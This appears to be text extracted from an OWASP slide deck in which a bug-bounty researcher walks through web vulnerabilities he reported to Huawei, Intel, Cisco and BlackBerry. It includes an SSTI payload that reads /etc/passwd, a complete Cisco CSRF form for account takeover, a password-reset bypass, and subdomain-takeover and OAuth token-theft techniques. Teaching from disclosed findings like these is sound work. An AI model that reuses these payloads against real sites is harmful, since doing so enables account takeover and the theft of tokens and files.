Hunting Bugs in Web App

By Suleman Malik

OWASP
The Open Web Application Security Project
Suleman Malik is an independent security researcher and author specializing in web application security, iOS and Android application security. He has reported many security issues under the industry practice of coordinated disclosure and he is listed in more than 50 Halls of Fame including Google, Microsoft, Intel, Sony, LinkedIn, BlackBerry, Apple, Oracle, Huawei, US Department of Defense and so on. He has been featured in top cyber security magazines including hakIn9 & Pentest magazine and also has been declared as one of top ten highest paid security researchers in the world. HackerOne CEO also has acknowledged his work and invited him to visit the United States of America. Donald Freese, the director of FBI's cyber crime unit (NCI JTF) has also endorsed his skills. Suleman is currently a full time student working toward his degree in computer forensics and security.

www.sulemanmalik.com
• Session Hijacking
• Hacking Huawei accounts
• RCE on Intel
• Account takeover – Cisco
• Pwd validation bypass in Blackberry
• PostMessage vulnerability
• Subdomain Takeover
• Oauth token stealing
Session Hijacking

- Front end Cookies
- Backend Cookies
- Vulnerability Chaining (XSS+Session)

Oracle, Shopify, ICloud, SourceForge & so on.
- Brup Suite
- Cookies manager
Huawei Endpoint Vulnerability

OWASP
The Open Web Application Security Project

Please let us know more about you for providing personalize service.

* Email address

* First Name

* Last Name

* Gender [ ] Male [ ] Female

* Country/Region: Afghanistan

* Preferred Language Bahasa Indonesia(Indonesia)

http://webaccount.huawei.com/en/PersonalPost?jsonpUpdateRegBack=&type=2
Huawei Endpoint Vulnerability

```
jsonpUpdateRegBack({"ackCode":"1","message":"update userinfo success!" })
```

```
http://webaccount.huawei.com/en/PersonalPost?jsonpUpdateRegBack=&type=2&userid=www_3369879&languages=en&fromsite=www.huawei.com&RolewithHuawei=Carrier&PreferredContact=Email&Age=%3C18&PreferredLanguage=en_US&CountryRegion=UK&JobTitle=CEO%2FPresident%2FManaging+Director&Address=&Zip=&Company=&emailaddress=&Name=hackedbysuleman&Name1=hackedbymalik&Email=sulemanmalik003%40gmail.com&Officetelephone=&Mobile=&countryCodeStr=%2B44&accountType=&Gender=male&Industry1=&Industry2=&Industry3=&IndustryKey1=&IndustryKey2=&IndustryKey3=&provincesuipmid=&_=1483012200890
```
Intel - RCE/SSTI

OWASP
The Open Web Application Security Project

Angular JS

My Intel Profile
sul({9*9}) malik({9*9})

Personal Information

First Name
sul({9*9})

Last Name
malik({9*9})
```
${php}$s=file_get_contents(‘/etc/passwd’);var_dump($s);{/php}
```
Cisco CSRF/XSRF Vulnerability

Welcome to Cisco
Cisco Account Profile

Contact
Role Details
Access
Preferences
Security

* Name: peter Dsouza Edit
* User ID: sulemanmalik111
* Email: sulemanmalik03@live.com

Alternate Email Address:

Company Name and Address: BARBADOS, Peter Corp Edit
Home Address: Add home address

Business/Primary Phone Number:
Country Code Locate Number ext
Mobile Phone Number:

Change in e-mail address will require confirmation prior to log
Updating/verifying your mobile number will provide enhanced protection of your account and can be

<form action="https://rpfa.cloudapps.cisco.com/rpfa/profile/edit_contact_loc.do" method="POST">
<input type="hidden" name="orgAnd#46;apacheAnd#46;strutsAnd#46;taglibAnd#46;htmlAnd#46;TOKEN" value="96c7bd806a962da7e995d88ca9c13436" />
<input type="hidden" name="orgId" value="" />
</form>
Cisco Account Created

adminsualt@cisco.com

Today, 2:33 AM

You ♦

peter Dsouza,

Your Cisco Account has been created.

Your user ID is: sulemanmalik111

Now you can log in with your user ID and password.

After logging in, you can:

- Visit Cisco Account Profile to add certifications, request permission to download software, or select your preferred language.
- Become a customer by associating your user ID with a contract number or bill-to ID.
- If you do not have a contract number, order services directly through our global network of certified partners.
- Become a partner by associating your user ID with a partner company or register your company as a partner.

Email confirmation from Cisco
<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
<form action="https://rpfa.cloudapps.cisco.com/rpfa/profile/edit_contact_loc.do" method="POST">
  <input type="hidden" name="orgId" value="96c7bd806a962da7e995d88ca9c13436" />
  <input type="hidden" name="efUser" value="false" />
  <input type="hidden" name="localFirstName" value="" />
  <input type="hidden" name="localLastName" value="suleman" />
  <input type="hidden" name="lastName" value="malik" />
  <input type="hidden" name="emailAddress" value="hackby_suleman@64;gmai1@46;com" />
  <input type="hidden" name="primaryEmailHiddenProperty" value="sulemanmalik003@64;gmail@46;com" />
  <input type="hidden" name="altEmailAddress" value="" />
  <input type="hidden" name="country" value="GB" />
  <input type="hidden" name="countryEnglish" value="GB" />
  <input type="hidden" name="orgName" value="Hacked@32;by@32;Suleman@32;Malik" />
  <input type="hidden" name="orgNameEnglish" value="" />
  <input type="hidden" name="address1" value="" />
  <input type="hidden" name="address1English" value="" />
  <input type="hidden" name="address2" value="" />
  <input type="hidden" name="address2English" value="" />
  <input type="hidden" name="state" value="" />
  <input type="hidden" name="stateEnglish" value="" />
  <input type="hidden" name="stateText" value="" />
  <input type="hidden" name="stateTextEnglish" value="" />
  <input type="hidden" name="city" value="" />
  <input type="hidden" name="cityEnglish" value="" />
  <input type="hidden" name="cityText" value="" />
  <input type="hidden" name="cityTextEnglish" value="" />
  <input type="hidden" name="zipCode" value="" />
  <input type="hidden" name="zipCodeEnglish" value="" />
  <input type="hidden" name="homeAddress1" value="hacked@32;add" />
  <input type="hidden" name="homeAddress2" value="123@32;hacked" />
  <input type="hidden" name="homeCity" value="Hacked" />
  <input type="hidden" name="homeState" value="WY" />
  <input type="hidden" name="homeZipCode" value="90001" />
  <input type="hidden" name="homeCountry" value="GB" />
  <input type="hidden" name="phoneCountryCode" value="44" />
  <input type="hidden" name="phoneNumber" value="7479886589" />
</form>
</body>
</html>
• Request new password & BoOm
• Victim will no longer be able to access his/her account.
Password validation bypass in BlackBerry
Password validation bypass in blackberry

- No Param/Form – No validation
Password validation bypass in blackberry

- Using Burp Suite
• Request new password on attacker email and change the victim password with the attacker password.
• What is PostMessage?

The postMessage API is an alternative to JSONP, XHR with CORS headers and other methods enabling sending data between origins. It was introduced with HTML5 and like many other cross-document features it can be a source of client-side vulnerabilities.
To send a message, an application simply calls the "postMessage" function on the target window:

targetWindow.postMessage("hello World!", "*" );

And to receive a message, a “message” event handler can be registered on the receiving end:

window.addEventListener("message", function(message){console.log(message.data)});
Receiver must validate the origin of the message with the “message.origin” attribute. If regex is used to validate the origin, it’s important to escape the “.” character, since this code:

```javascript
//Listener on http://www.examplereceiver.com/
window.addEventListener("message", function(message){
  if(/^http://www.example\d+sender\.com$/i.test(message.origin)){
    console.log(message.data);
  }
});
```

Would not only allow messages from “www.example\d+sender.com”, but also “wwwaexample\d+sender.com“, “www\d+example\d+sender.com” etc.
You can check if a page has a registered message listener (and which script registered it) by using Chrome Devtools, under Sources -> Global Listeners:

A lot of third party scripts use postMessage to communicate with the third party service, so your application might be using postMessage without your knowledge.
1. Search all subdomains with subdomain scanner.
2. Check subdomain alias in the terminal by using command
   
   #host example.com or #CNAME info.hacker.one

---

```
DNS server handling your query: localhost
DNS server's address: 127.0.0.1#53

Non-authoritative answer:
info.hacker.one canonical name = unbouncepages.com.
Name: unbouncepages.com
Address: 52.51.108.77
Name: unbouncepages.com
Address: 52.30.4.14
```

[ Query 1 of max 100 ]
• OAuth is an open standard for authorization, commonly used as a way for Internet users to log into third party websites using their Microsoft, Google, Facebook, Twitter, One Network etc. accounts without exposing their password.

• In this attack, the attacker presents the victim with a URL to an authentication portal that the victim trusts (like Facebook), and by using this authentication portal the victim's secret access token is delivered to an HTTP server controlled by the attacker.

• Authentication is about intention, tricking a user into allowing access to an unintended resource is a vulnerability.
Payload %2F%2F → //  %5c%5c → \ \  %3F → ?  %23 → #  %40 → @

The %2F%2F relates to "//" (forward slashes). The "two forward slashes" are a common shorthand for "whatever protocol is being used right now".

**Example request:**


**Forged request:**


**Response:**

http://example.com//.victim.com/?code=9999999999
ANY QUESTION?
Thanks